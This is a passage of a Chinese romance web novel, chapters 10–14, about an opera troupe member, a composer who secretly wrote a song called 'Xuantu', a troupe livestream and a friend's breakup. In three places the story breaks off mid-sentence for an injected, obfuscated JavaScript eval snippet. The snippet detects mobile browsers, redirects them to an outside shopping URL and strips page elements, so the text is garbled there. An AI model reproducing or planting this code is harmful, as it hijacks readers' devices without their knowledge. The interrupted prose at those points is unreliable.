收到音乐学院的offer是在一个无比烦躁的午后。 他把自己关在房间里,一遍一遍地修改同一段音乐,第一次产生了江郎才尽的恐惧。 楚仪看着整日闷在房间里的儿子,问他:“想不想回景城陪陪外婆?” 彼时外公刚过世不久,傅栩看着刚到手的offer,又想到那个一年到头都见不到几次的老人,没有思虑太久,当天就订好了机票。 他在闻景的剧场里第一次见到安漾。 她穿着藕粉色的戏服,唱完后深深一鞠躬,笑得狡黠又俏皮,直直撞进他的视线。 皎月似的眼睛起初只落在他杠掉的歌词旁边,后来干脆被他写进歌里。 在安漾还不认识他的时候,傅栩就已经为她写了无数的旋律,足以战胜他对伤仲永的恐惧。 他留在景城不全是为了帮她,也为了他电脑里那些被自己唾弃为垃圾的demo。 他自己也无法说清安漾对他而言意味着什么。 “玄兔落在我眼前/愿得一刻安眠。” 唱到最后一句,吉他的声音在空寂的屋子里回荡,直至落下最后一个音符。 傅栩唱完了,把吉他放在桌上,静静地注视着她。 安漾的心脏咚咚地跳着,她抿唇,假装若无其事地转过来,“傅栩,你是不是唱错歌词了?” 他不语,等她的后话。 “最后一句歌词,你唱错了。”安漾说。 傅栩薄唇微微勾起,“是吗?” 他若有似无的笑被安漾解读成了质疑,她想了一会儿,打开手机里的音乐APP找歌词,“应该是‘玄兔远隔云层/愿得一刻安眠’。” 手指在屏幕上滑动到底,安漾找到那句词,给他看。 傅栩敷衍地扫了一眼屏幕,“我没有唱错。” 手机上的歌词突然跳转到了最前面,开始自动播放。 安漾按下暂停,正要抬头和他争辩,突然瞥见词曲栏上写着的F。 她想起傅栩的微信名,以及刚才那段和《玄兔》风格相近的旋律。 “安漾,我没有唱错。”他又说一遍,无比确定: “我见到玄兔了。” 11.第十一章 安漾的目光闪烁,大脑被铺天盖地的疑惑占据。 不久,她脑子里嗡的一声,突然闪过一个大胆的猜测,握着的手机没拿稳,摔到地上。 这声响格外扎耳,她连忙弯腰去捡,慌乱间又碰到屏幕上的播放键,《玄兔》熟悉的前奏再次响起。 安漾被这一连串的事搞得有些烦躁了,直接退出音乐APP,声音戛然而止。 她把手机扔到桌上,自暴自弃般问他:“这个F,是你吗?” “你觉得呢?”他没有正面回答。 “我觉得......” 本就只是个猜测罢了,经傅栩这样一反问,她不确定的想法就更加动摇,垂下头小声嘀咕:“你不想说的话就算了。” 卧室里又没了声音,她的头被空调的暖风吹得晕乎乎的。 半晌,傅栩抬手揉揉她的发顶,唇边溢出一声低笑:“安漾,你怎么有点傻?” 她对上他含着笑意的眼睛,条件反射地想要反驳他,手机却在这时响起来。 是老安给她打电话了。 安漾接通,听他絮絮叨叨念了几句,慢悠悠地从椅子上站起来,答:“我马上就回去,别催了。” 傅栩跟着她起来,看她挂了电话,朝卧室门口走去。 “我走了。”她没有回头。 “安漾。”傅栩叫住她,犹豫了几秒,说:“F是我。” 安漾蜡在原地。 那晚在公园里,她问起傅栩喜欢的人,他用半真半假的口吻说“你”时,安漾的心跳确乎在某一刻漏拍了。 可她现在脑子里只剩下傅栩刚唱完《玄兔》时说的话,他说他见到玄兔了。 说这话时,他在看她。 只是,安漾非常确信,《玄兔》发布的那年,她根本就不认识傅栩。 她的心沉下去,像飘在海上的小舟突然间被天降陨石砸穿,四分五裂地陷进海里。咸腥的海水漫天涌来,让人呼吸困难。 她怕玄兔是她,更怕不是她。 “嗯,我知道了。”安漾轻轻吐了口气,右手攥紧,指甲掐进手心里,逼自己快点清醒,别再让这场面冷下去,“我得回家了,再见。” 她走得很快,几乎可以称得上是在逃跑。傅栩跟着她下楼时,她已经出门了。 无风的晚上,气温依旧低得冻人。安漾刚出来就打了个喷嚏,双手抱住自己的胳膊。 沉重的单元门自动合上,“嘭”的声响从她身后传来。 安漾断线的思绪在这一刻才接续,想起自己的衣服还落在他家。 她回头看看已经紧闭的大门,心一横,干脆直接跑回家去了。 到家以后,她才给傅栩发信息: 【我衣服忘拿了,你下次来剧场记得捎给我。】 他回了个“好”的emoji,又问:【你什么时候在?】 安漾换了鞋,一边往里走一边打字:【明天就行,我都在。】 她在傅栩家待了太久,任姿已经在她之前到家了,听见开门声过来,一眼就看见她只穿了一件单薄的卫衣。 “年轻哈,火气旺不怕冷。” 安漾理亏,默默听着,没敢还嘴。 饭桌上的老安闻言,赶紧给她盛了碗热汤暖暖身子,“你妈就是怕你冻着了,怎么不多穿点?” 她端起碗暖手,小口小口地喝着,考虑着要不要老实交代。 “穿了,外套落剧团了。”她决定撒谎,又说:“我身体好,哪有那么容易生病。” 任姿嗤笑,“你明天要是感冒发烧了,我看你怎么办。” 翌日凌晨,安漾被头疼唤醒。 她在床上躺了一会儿,双眼无神地盯着黑漆漆的天花板,嗓子难受得紧,想喝水。 双手撑在身后,安漾费劲地坐起来。她身上没什么力气,光是动一动就开始酸痛。 好不容易挪下床,她脚步虚浮地去客厅倒了些水喝完,又把手盖在额头上试了一下温度,去找体温计。 37度6,任姿一语成谶,她真的发烧了。 安漾躺回床上,打开手机,纠结要不要给任姿留个消息,说明天请假不去剧团,又不想挨她一顿训。 正想着,手机上突然弹出一条新消息。 F:【做完了。】 又发来一张照片,是他的工作台,电脑屏幕上显示着他写给安漾的那段旋律,时长是原来的两倍。 安漾被烧得昏昏沉沉,没有回复他,闭眼就睡。 再次醒来已经天光大亮,她还是给任姿发了信息,打算去医院开点药。 这个身体状况自然不可能再骑车,她在小区门口拦了辆出租。 F:【今天什么时候在剧团,我把衣服还你。】 安漾跟司机报了目的地,敲字:【今天不在,你直接给我妈就行。】 F:【休假?】 她回:【不是,发烧了,去趟医院。】 F:【因为昨晚?】 她拆了个口罩戴上:【应该是吧。】 消息发出,她在车上闭目养神,直到下车才收到傅栩的回复:【我在门诊部等你。】 安漾今天整个人都病恹恹的,傅栩远远的就在人群里找到她。 尽管口罩遮住了大半张脸,但露出来的一双眼睛对他而言更有辨识度。 “你在江奶奶那儿?”安漾一开口,自己先被吓了一跳。 她的声音嘶哑得厉害,当场就可以去给动画片里的老巫婆配音。 傅栩也已经,迟钝地点点头。 他陪着去开了些药,又专门问了医生有什么忌口。 取过药,安漾看着正专心清点药品的人,问:“江奶奶最近怎么样?” “嗜睡。”确认无误,傅栩抬头,微不可察地叹了口气:“我刚走之前她还在睡觉。” “那你现在还过去吗?” “不去了。”他摇摇头,“我回去做饭。” 安漾觉得新奇,“你还会做饭?” 傅栩看起来就是那种十指不沾阳春水的类型,比起做饭,更像是做好饭给他端上去还会被挑三拣四的大爷。 “以前在国外上学吃不惯,不会做饭得饿死。”他挑了挑眉梢,“今天中午要不要在我家吃饭?” 昨晚的事还历历在目,安漾本能地想拒绝。 但任姿今天在剧团,老安也不在家,她懒得动弹,去蹭个饭也不错。 她说好,两个人打车到小区附近的超市,傅栩去推了辆购物车。 “想吃什么?”他问。 “我还能点菜?”安漾兴奋,沙哑的声音搭配雀跃的语调,听起来略显诡异。 尽管已经过去了一个上午,傅栩对她的新声线还是不习惯。 他抽了抽嘴角,“你点吧。” “我想吃辣子鸡。”安漾毫不客气。 “不会。”他推车直接往蔬菜区走。 安漾的肩膀垮下来,又问:“那水煮肉片?” “不会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136945|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她手抓住购物车,让他一时没法继续往前走,只能认真听她讲话。 “你要不说说你会什么吧。”安漾鼓着脸。 “水煮青菜。”傅栩说着,往购物车里放了两颗青菜。 “就这?”安漾不屑,挤到他旁边,“要不我来做吧,让你开开眼。” 傅栩睨她一眼,没有搭理,又去买了块豆腐。 “你平时就给江奶奶做这些吗?” 她不依不饶,扯着沙哑的嗓子继续问。 “你身体都这样了还吃辣?”傅栩两根手指捏住她歪了的口罩边缘,帮她正了正,“再这样就去小区门口吃玉米吧。” 他突然的举动让安漾不知所措,她呆了一会儿,马上又回击他,“你不也熬夜吗?今天凌晨还给我发微信。” “你身体都这样了还熬夜?”她学着他的语气,又瘪嘴道:“活该你睡不好。” “其实我昨晚睡得挺好的。” “真的吗?我不信。”安漾表示质疑,等他买了虾回来才猛地拍拍他的胳膊,眼神幽怨: “傅栩,我现在有理由怀疑,你献祭了我的身体健康去提升自己的睡眠质量。” 傅栩被噎了一下。 这当然只是安漾的玩笑话,但也没完全说错。 他昨晚抱着她的外套睡得很好,而她生病也是因为这件外套。 他喉结一滚,出于补偿的心理,问她:“有什么想吃的零食吗?” “你当我小孩呢?”她嫌弃地扫过货架,然后闪身拿来一大包家庭装的辣条。 傅栩:“放回去,刚才的话当我没说。” “嘁。”她翻了个白眼,把辣条换成曲奇。 采买结束,傅栩推车去结账,任姿发微信来询问病情,她慢吞吞地走在后面回复。 “欸,妹妹。” 促销员拦住了去路,热情介绍:“这个货架上的东西全部都做活动,买三送一,有需要的吗?” 她抬头,视线从手机移到货架,看见满满几排的卫生纸,最底部摆着一溜花花绿绿的小盒子。 字太小了,隔得又远,她看不清。 出于好奇,安漾弯下腰仔细辨认。 发现她的视线在最下排停滞,促销员赶快凑上来,音量比刚才低了几度:“这个也做活动哦,要不要带点回去?” “安漾?”傅栩回头没看见她,折回来找人。 安漾终于看清了盒子上的字:0.01超薄。 她和傅栩对视一眼,下一刻脸就变得和这盒子一样红。 “怎么样要不要囤......”促销员见他过来,转而问傅栩。 “不用不用。”安漾慌忙摆手打断。 “哦,那就是在备孕?”促销员秒懂,但懂错了方向。 她捂脸,想遁地逃走,“不是。” 傅栩的脸色也不太好,他看着购物车里的两颗菠菜。 这菠菜可太菠菜了。 “啊?”促销员傻眼了,读出安漾尴尬的语气,望了傅栩一眼,再看向她时,眼里已经多了几分同情。 三个人之间的空气都似静止了,只有超市的广播还在播放一首苦情歌: “所有人都幸福/唯独我不行。” ...... 安漾刚要解释,一个音节还没发出来,促销员先开口了,上来拍了拍她的肩膀,“至少是帅的。” 说罢,拂袖离去。 好像彻底解释不清了。 12.第十二章 促销员走远,安漾杵在原地静默良久,然后试探性地扯扯傅栩的袖子,“我们走吧?” 傅栩中止了他的菠菜鉴赏大业,挪眼看她两根细白的手指从长长的袖子里露出来一节,拉着他的衣袖,不自觉地扬起唇角。 滚烫的视线落在她手上,安漾以为他心里介意,只好把手缩回来,却对上他脸上的笑意。 她只觉得毛骨悚然。 都被别人误会不行了,这人怎么还笑得出来。 该不会被说中了,怒极反笑吧...... 死脑袋,快打住!她拍拍自己的头,想手动把这事驱逐出去。 就因为那促销员,安漾一路上都没敢跟傅栩说话,他一手拎购物袋一手拎药走在前面,安漾空着手,感慨他在打黑工的路上越走越远了。 到家之后傅栩去厨房做饭,安漾帮不上什么忙,干脆一个人坐在客厅的沙发上发呆。 她百无聊赖地刷着手机,点开《玄兔》的歌词一句一句地看,发挥学生时期做阅读理解的功力,试图找到一点关于真正的玄兔的蛛丝马迹。 说不好奇是假的。她就是想知道那是怎样的人,能让傅栩写一首歌,用尽辞藻去纪念。 屏幕顶端弹出一条信息,她顺着点进去。 西西:【我明天回景城,收拾收拾来接驾。】 孟西禾是安漾的发小,两个人从幼儿园起就在一块儿玩,直到大学,她去了明京,安漾留在景城。 小羊:【怎么突然要回来?】 西西:【想你了鸭头[玫瑰]】 安漾发给她一个“您请这边滚的表情包”:【谢谢,吐出来舒服多了。】 西西:【在明京待了这么多年,想想还是景城好,我以后都不走了。】 小羊:【那于万苼呢?和你一起吗?】 安漾的高中就读于戏曲学院附中,和孟西禾的学校隔得不远。 她每周放假都会去孟西禾学校门口等人,两个人去附近的小吃街逛到天黑才回家。直到某天,孟西禾神秘兮兮地指着对面等车的男生,说:“好帅好喜欢。” 那个人就是于万苼。 最纯爱的那一年,孟西禾拉着安漾从地铁四号线的起点站坐到终点站,只因为它们分别叫“西河”和“万盛”。 “地铁都能证明我俩天生一对。”孟西禾说。 安漾冷哼一声:“你的当务之急是去治治恋爱脑。” 高中毕业,孟西禾打听到于万苼的志愿,和他一同去了明京。 大一的寒假,她牵着于万苼的手跟安漾介绍:“这是我男朋友。” 安漾当时就和现在一样懵。 顶端备注的“西西”跳转成“对方正在输入”,过了好久孟西禾也没有回复。 她听见细微的响动,把孟西禾的事先搁在一边,循着声音看见傅栩放在桌上的手机,走近一看,来电显示为“陆”。 安漾把手机送到厨房,“傅栩,你电话。” 他正切菜,扬扬下巴,“帮我接一下。” 她接通后按下免提,对面的声音被放大,占据整个厨房。 “傅栩你赶紧滚回来行不行,那祖宗天天吵着找你,我快烦死了。”相当不善的语气,话语间带着浓重的死意。 “不行。”傅栩波澜不惊,他切完菜洗了个手,把手机切成听筒模式拿到耳边,单手往碗里打了个蛋,又道:“难得给你个锻炼的机会,多学着跟异性相处,免得又被未婚妻甩了。” “我呸。”对方情绪激动,声音大到安漾隔老远也能听见:“景城有谁啊你非得留在那儿?” 她听得云里雾里,指指门外,压低音量对傅栩说:“我先出去。” 正午的阳光从阳台洒进客厅,照得人又暖又困,她坐回沙发,收到孟西禾迟来的回复。 西西:【你别提他,恶心。】 安漾没有再继续这个话题,只让她把航班信息发来,明天一定去接机。 傅栩做完饭出来,她已经歪在沙发上睡着了。 黑发如瀑布般垂下来,有几缕落在侧脸上。 他伸手,轻轻帮她把头发勾到耳后,想了想,决定等等再叫醒她。 她还没退烧,傅栩的指腹触到温热的脸颊,没忍住戳了一下。 半梦半醒间,安漾感觉到脸上痒痒的,她皱眉,闭着眼躲开。 傅栩见状很快撤回手,坐在她旁边挡住刺眼的阳光。 安漾被刚才的触感惊扰了睡意,本想闭眼继续睡,却迷迷糊糊想起这是在傅栩家,于是睁眼,“抱歉,太困了。” “没事。”见她醒来,傅栩把温在锅里的粥盛出来,“吃饭吧。” 皮蛋瘦肉粥熬得咸香软糯,她用勺子舀了一大口,又夹一块虾仁炒蛋。 “你要回明京了吗?”安漾没有什么食不言寝不语的习惯,相反的,她受不了这种安静得过分的环境。 傅栩放下筷子,“这是你第几次赶我走了?” 好吧,其实安漾自己也记不太清了。 但他留在景城,事事都替她考虑帮她解决,她怕自己产生依赖心理。 “可是刚才给你打电话那个人,听起来真的很着急。”她搅动着碗里的粥。 “他装的。” “......你这算是消极怠工吗?” 他笑了,“我在闻景没有消极怠工不就好了?” “我雇不起你,傅老师。” 在再次翻看《玄兔》的歌词之前,她尝试着百度了傅栩了名字。 不搜不要紧,搜索结果一出来她人都傻了。 且不说什么五花八门的音乐类奖项和专业性评论,光是那个“人形印钞机”的外号,就能让她这个门外汉知道傅栩的含金量。 但人形印钞机傅栩老师背着所有人在闻景打黑工。 傅栩听见她的称呼,心下了然,“你不用考虑这么多,我答应过你的,在闻景的状况好起来之前,我不会回去。” “要不这样吧傅栩。”一碗粥下肚,安漾的胃里暖暖的。她撑着太阳穴思考了一会儿: “我明天开始买刮刮乐,什么时候中奖了,我就把奖金拿来给你发工资。” 傅栩差点把筷子打翻在地,在半空中惊险拦截。 她解释:“否则闻景老老实实唱几十年也不够你一天工资的。” “那为了让你来之不易的奖金物尽其用,以后还要来我家吃饭吗?” “有这好事?”安漾喝完最后一点粥,“肯定来。” - 景城机场的地理位置是出了名的偏远,安漾一早就出发了。 孟西禾的航班在上午十点多抵达,她到的时候,人已经拖着行李箱坐在出口外等着了。 安漾老远就看见一个熟悉的身形,穿着一身黑还戴副墨镜。 “你干嘛呢?回来奔丧的?”她一把把孟西禾的墨镜摘下。 没了墨镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149889|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遮掩,孟西禾露出一双肿得跟桃儿一样的眼睛。 安漾愣了一下,听见她语气突然哽咽,“是奔丧,给于万苼那个瘟丧*奔丧。” “哎哟乖乖。”安漾一把把人抱住,摸摸头安慰,“怎么了?” “我被甩了。”孟西禾哭得更厉害了,两只手挂住她的脖子,眼泪蹭到她肩上,“他说他那个什么初恋白月光回来了,他放不下,要去找人家。” 初恋白月光...... 安漾联想起了什么,脸色一沉。 正想着,孟西禾从她大衣口袋里抽出手机,“你手机响了。” 她刚接通还没来得及“喂”一声,孟西禾已经勒着她的脖子发问了:“傅狗是谁?” 傅狗是她给傅栩的备注。 “傅狗......”尽管声音不大,但傅栩还是听见了。 她没接话,他便继续说:“中午来吃饭吗?” “我来机场接我朋友了,今天和她在外面吃。” “少吃辣。”傅栩嘱咐。 “知道了。”她应了一句,挂掉电话,看着双手挂在自己脖子上的孟西禾,拍拍她,示意她放开。 “谁啊?”孟西禾刚才的悲怮一扫而空,取而代之的是熊熊燃烧的八卦之魂。 安漾含糊道:“朋友。” “朋友还管饭吃?”孟西禾不信,“你老实说是不是有情况,你是不是背着我耍朋友*?” “没有。”她摇头否认,又补了一句:“而且他也有个白月光。” 孟西禾听到这三个字,脸顿时黑了。 “你不是说了吗?有白月光的男人不能要,我特听劝。” “对,跟这种人就得保持距离。”孟西禾终于放过她。 这一天下来,她听发小骂了一天的于万苼,从长相到人品,里里外外全方位无死角。 但总结下来就是,她的故事她心疼,她的文字还爱他。 把喝得醉醺醺的孟西禾送回家,安漾也准备回去了。 傅栩刚从医院回来,在小区外看见熟悉的身影。 他快步跟上,走近却从她身上闻到了若有若无的酒味,“你喝酒了?” 安漾原本一个人走在路上,被突如其来的声音吓得一抖,转头看见是傅栩,才抬起胳膊嗅了嗅自己的衣服,确实有股酒气。 “没喝。”她说:“我朋友喝了,我把她搀回家的时候,可能沾到味道了。” 孟西禾那句“有白月光的男人要不得”还萦绕在耳边,说实在的,安漾现在对傅栩的态度很微妙。 “你永远不知道那个白月光什么时候突然杀回来,到时候他俩兜兜转转在一起,成就一段佳话,你呢?”她想起今天在饭桌上,孟西禾说这话时把拇指与食指弯成一个圈,放在鼻尖,“你就成小丑咯。” 可是那晚傅栩说,他已经见到玄兔了。 她连小丑都没得当。 所以她和孟西禾碰杯,喝掉杯里的果汁,兀自低头打开手机,把《玄兔》移出了歌单。 “下次直播是什么时候?我和你一起去剧团。”傅栩打断她的回忆。 “我自己可以搞定,你不用管。” “安漾。”傅栩以为她还是担心影响他的工作,一手搭在她的肩上,让她面对着自己,“我留在这里也不只是为了闻景......” “我知道,那你就好好照顾江奶奶吧。”她抢在他之前把话说完,挣脱他跑开了。 13.第十三章 安漾的病过了几天也没见好,但她没在家里待太久,烧刚退下去就回了闻景。 最近几次直播她都不在,每次只能蹲守在手机前,提心吊胆地关注着台上的一举一动,生怕出什么岔子。 偶尔自掏腰包刷点小礼物,还会随机掉落任姿操着椒盐普通话说出的谢词。 今天的直播在上午,她换好衣服就直接出门。 摩托车是不能骑了,任姿自从她生病后就没收了她的车钥匙,她再敢骑得被亲妈撕成两半,只能走路过去。 乐队的几个叔叔照常围坐在院子里打麻将,安漾踏进大门正想打声招呼,想到自己现在的嗓音状况,又把嘴闭上了。 负责堂鼓的李叔已经看见她了,“漾漾来啦,身体好点了吗?” 他一开口,桌边的人都抬头看过来。 突然成为院子里的焦点,安漾被这几束关怀的视线搞得怪不好意思的,只能笑着点点头。 “清一色。”冷冽的男声从牌桌上传来,听见他的声音,几个人又把注意力转移到麻将上。 安漾的脚步一顿,往桌边瞟了眼。 傅栩怎么混在里面,还在打麻将? “胡了。”他把面前的一整排麻将推倒,微微侧过头看着她,什么话也没说。 安漾收回目光,脚上加快速度往后院跑去,险些撞到刚化完妆的刘叔。 “怎么回事?慌慌张张的。”刘叔今天演一个花脸,背上插着旗子,旗面随着步调一晃一晃。 她清了清嗓子,说:“我去找我妈。” 刘叔被她奇怪的声线吓得愣住了,缓过来之后往牌桌上望了一眼,“快去吧,我不跟你说了,刚刚要化妆,我让小傅帮我顶两圈,不知道他打得咋样了。” 安漾:“胡了。” “嘿。”刘叔一听,乐了,“小伙子打得可以嘛,我还以为要输钱了。” 她没再跟刘叔说话,拐个弯进了化妆间。 任姿刚刚化完妆,翩翩仙子的扮相,但左手保温杯右手手机,有一种时空错乱的荒谬感。 “你怎么来了?”她正要喝水,看见推门而入的安漾。 “我怎么不来?”安漾觉得这话奇怪。 “你好全了再来啊,用这个声音出来到处乱跑,你不要把人吓着了。”任姿的语气非常嫌弃。 她真的不想承认这个身量纤纤似黛玉,但声线酷似猛张飞的人是她的女儿。 安漾不满:“我又不演,过来盯个直播能吓着谁?” “你还是少说点话吧。”任姿手捂住她的嘴巴,“小傅怎么没跟你一起过来?” “他来干嘛?他又不上台,给观众倒茶添水吗?”安漾说着掏出手机,孟西禾又发信息来了,约她下午出去玩。 这人刚从川西玩了一圈回来,这两天正在景城满大街乱窜,说是要靠老家的风景治愈失恋后破碎的心。 但安漾知道她距离治愈成功还有很长一段路要走。 毕竟她现在连地铁四号线都不肯坐了。 “西西回来了吗?”任姿弓着身子凑到手机旁,“你下午跟她去玩吧,反正这边也没你的事。” 安漾乖乖回了个【好】。 “你生病这几天都是小傅在,直播也是他在负责。”任姿说。 她心里有点异样的情绪,把手机关掉,“等我病好了就不用他来了,他挺忙的,不要老是给人添麻烦了。” “这句话你当初找他劝我的时候怎么不说?”任姿嗔怪。 她哑口无言,恰好这时候傅栩推门而入,没有多看她,对任姿道:“阿姨,我来拿直播设备。” 任姿笑眯眯地说好,他轻车熟路地从柜子里取出手机支架和收音器,走到安漾旁边,弯着腰问:“你嗓子怎么回事?” 安漾扭开,“没事,多谢关心。” 直播已经有几天了,剧团里的演员们逐渐习惯了有个机器对着自己,不再紧张抗拒,一举一动也自然了许多。 安漾和之前一样守在设备旁,她和傅栩一人坐一边,中间隔着黑色的金属支架,像是它的左右护法。 她时不时站起来,看看有没有新的弹幕。 但直播间里的观众不多,弹幕自然也寥寥无几,她盯着几条【好看】和【能不能演点新鲜的】发了会儿呆,然后又坐回椅子上。 傅栩给她发微信。 F:【为什么不回我?】 他最近几天给她发了很多信息,但她一条都没有理会。 小羊:【没看见。】 F:【那现在看见了,回我吧。】 安漾把聊天记录往上翻,傅栩在昨天发给了她一个音频文件,是上次给她听的那段音乐的完整版:《给安漾》。 她当时觉得好笑,手指把手机屏幕敲得哒哒作响:【你逮着个人就要写首歌是吧。】 但手指在发送键上停了一会儿,又把这条信息逐字删掉了。 F:【你听了吗?】 其实她是听过的,很好听,和《玄兔》的风格差不多,但又不完全一样。 小羊:【听了,一般。】 F:【那你喜欢什么样的?还是《玄兔》那种吗?】 哪壶不开提哪壶。 她耷拉着眼皮:【《玄兔》也不怎么喜欢,听厌了。】 傅栩好言好语:【行,下次给你做新的。】 她诧异地看向傅栩,本以为他会生气的,谁知道一拳打在了棉花上。 安漾有些丧气地抻了抻腿,隐约感觉自己提到了什么东西。 但她正烦着呢,干脆使了点力气一脚踢过去。 咚—— 手机支架猝然倒地,手机也跟着摔下来。 安漾倒吸一口凉气,慌乱地拾起手机仔细检查一通,还好,手机壳质量够好,没有摔坏。 她又戳了戳屏幕,有反应。 不光有反应,还非常灵敏,“唰”地就翻转了镜头,安漾的脸出现在屏幕里。 完蛋。 她脑瓜子嗡嗡的,旁边的傅栩已经扶起了手机支架,眼疾手快地帮她把镜头切回去。 安漾把手机装回到支架上,又对观众道歉:“对不起对不起。” “噗——”傅栩被她的奇怪的声线逗笑了,她“啧”了一声,让他闭嘴。 这场直播事故来得猝不及防,安漾惊出了一身冷汗。 尽管直播间里的人不多,但她还是死死地守着弹幕,生怕再出什么乱子。 但事情的发展已经开始朝着她未曾预料的方向一路狂奔: 【刚才露脸的也是演员吗?什么时候上去演一段?】 【好漂亮,一会儿能不能演一个?】 【怎么声音像个男人?】 ...... 直播间的人数慢慢涨起来了,弹幕还在刷,但安漾已经没有心思看了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162870|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>突然,屏幕被湛蓝色的海水占据,一艘潜水艇缓缓从屏幕右侧驶出。 安漾研究过,这艘潜水艇是这个直播平台最贵的礼物,一送出就会在全平台的直播间飘出提醒。 “谢谢这位观众的潜水艇。”台上响起鼓声,她不敢太大声讲话,又怕直播间的观众听不见,只好靠近了手机谢礼。 送出潜水艇的观众已经跃升成了榜一,还有更多的人被这礼物吸引进来。 听见她谢礼,榜一发话了:【还真是男的?】 安漾无奈:“女的,声音比较粗犷而已。” 榜一:【你能上去演一个吗?想看。】 她为难地看着弹幕,一时间不知道说什么好。 现在这个嗓音条件上去唱,无异于砸了闻景的招牌。 傅栩留意到直播间的状况,过来解围:“可以演,但是要等这场演完之后。” 安漾瞪他,合理怀疑傅栩是在借机报复她说他做的新歌难听。 他明明知道她现在唱不了。 “她生病了嗓子不太舒服。”傅栩无视她恶狠狠的眼神,勾唇:“唱不了戏,就给大家表演个喷火吧。” 安漾懵了,用尽全身的力气才抑制住想踢他的冲动。 “刘叔说你跟他学过。”他凑到她耳边,轻声:“加油。” 她总觉得他的笑不怀好意。 尽管如此,在这场演出结束后,她还是被赶鸭子上架到了台上。 刘叔听说她要喷火,戏服都还没换,笑盈盈地帮她拿来了道具。 而这时,直播间里的观众数量已经到达了开播以来的最高值。 川剧里的喷火表演是很有名,但一个漂亮小姑娘上去喷火就稀奇了。 安漾心里其实没什么底。 她确实跟刘叔学过一手,也成功过,但距离上一次表演已经过去快一年了。 而上一次喷火时,她差点把剧团台上的帘子给烧了。 “成不成功都没事,但是火还没灭的时候千万别吸气。”刘叔递上道具,提醒道。 在火熄灭前吸气可能会引火烧身,她这点倒是记得清楚,点头答应。 安漾忧心忡忡地看了一眼台下的手机,不知道此时的直播间是什么情况。 她有些局促地往台中央走,倒也不是想让观众看得更清楚,主要是怕站在边上又把帘幔给烧了。 嘴里已经含了一口煤油,安漾手心全是汗,只能在心里告诉自己别紧张。 她闭上眼睛不看台下的观众和手机,气沉丹田,猛地喷出一道油雾,面前的导火索霎时间被点燃,橙红色的火光倒映在脸上。 台下的观众纷纷叫好,安漾这才敢睁眼,对着手中熊熊燃烧的火把松了一口气,往直播那台手机的方向看去,傅栩正站在后面,看不清表情。 这场直播让闻景赚到了空前的热度,虽然不比其他直播间红火,但好歹比之前有进步了。 任姿满意得不行,直夸她争气。 直播结束,她去化妆间漱口,傅栩站在身后,“一起吃个饭?” 她直起腰,从水池上方的镜子里看他,“不去,有约了。” 他点头,却还是问了一句:“和谁?” “西西。” 他觉得莫名其妙:“我问你话,你笑什么?” “我说了,和西西。”安漾抽纸擦了擦嘴,“让我上台喷火的帐,我下次再跟你算。” 14.第十四章 安漾在公园的湖边等孟西禾。 一进入秋冬季节,景城的天空就变得灰蒙蒙的。她靠在竹椅上,仰首望着倾轧而下的乌云发呆。 她最近满脑子都是傅栩和玄兔这档子事,难得有点时间放空一会儿。 “找你半天了。”孟西禾迟到了将近半个小时,一路狂奔过来,生怕她等得不耐烦了。 安漾听见声音,调整了一下坐姿,看见好友的额头上挂着一层细密的汗珠。 “今天又没太阳,在这露天的地方待着干嘛?”孟西禾自顾自地坐下,又抽了张卫生纸来擦汗。她回景城之后一整个实现了素颜自由,纸在脸上暴力摩擦也不用担心妆花。 “透气。” 孟西禾被她不妙的声音吓到,“你也跟女巫做交易了?” “你《海的女儿》看多了是吧?我是病还没好全。”安漾查看手机时间,这才发现她迟到了很久,“怎么来这么晚?” “不想坐四号线,打车过来的,堵在半道上了。” 得,安漾一听这话就知道她还没脱敏。 孟西禾要了杯茶,煞有介事道:“我最近突然悟了。” “悟什么?” “我和于万苼可能从名字来看就没有缘分。” “为什么?”安漾不懂她了,“不是你自己说的,你俩四号线一头一尾天生一对吗?” “就是一头一尾才没缘分啊!”孟西禾一拍大腿,振振有词:“你看中间隔着那么多站,注定是走不到一起的。” 安漾被这歪理整笑了,在心里替四号线骂了一句晦气。 她喝了一大口已经微凉的茶水,“那你能把当初我陪你坐四号线花过的钱还给我吗?” “感情淡了,开始跟我计较了。”孟西禾佯装心痛,从包里翻出一个黄色的纸片扔给她,“亏我特地帮你求了这个。” 她拾起来一看,是张桃花符。 “把这个塞你手机壳里,说是可以保一年。” 安漾将信将疑,但还是照做了。 “我自己感情不顺也就罢了,但我就你一个好朋友,咱俩不能当难兄难弟。” “孩子大了,知道疼人了。”安漾抽纸擦拭自己并不存在的眼泪,吃了孟西禾一记白眼,两人笑作一团。 末了,孟西禾似是想起什么,“所以你和那个什么傅狗,你俩怎么样了?保持距离了吗?” 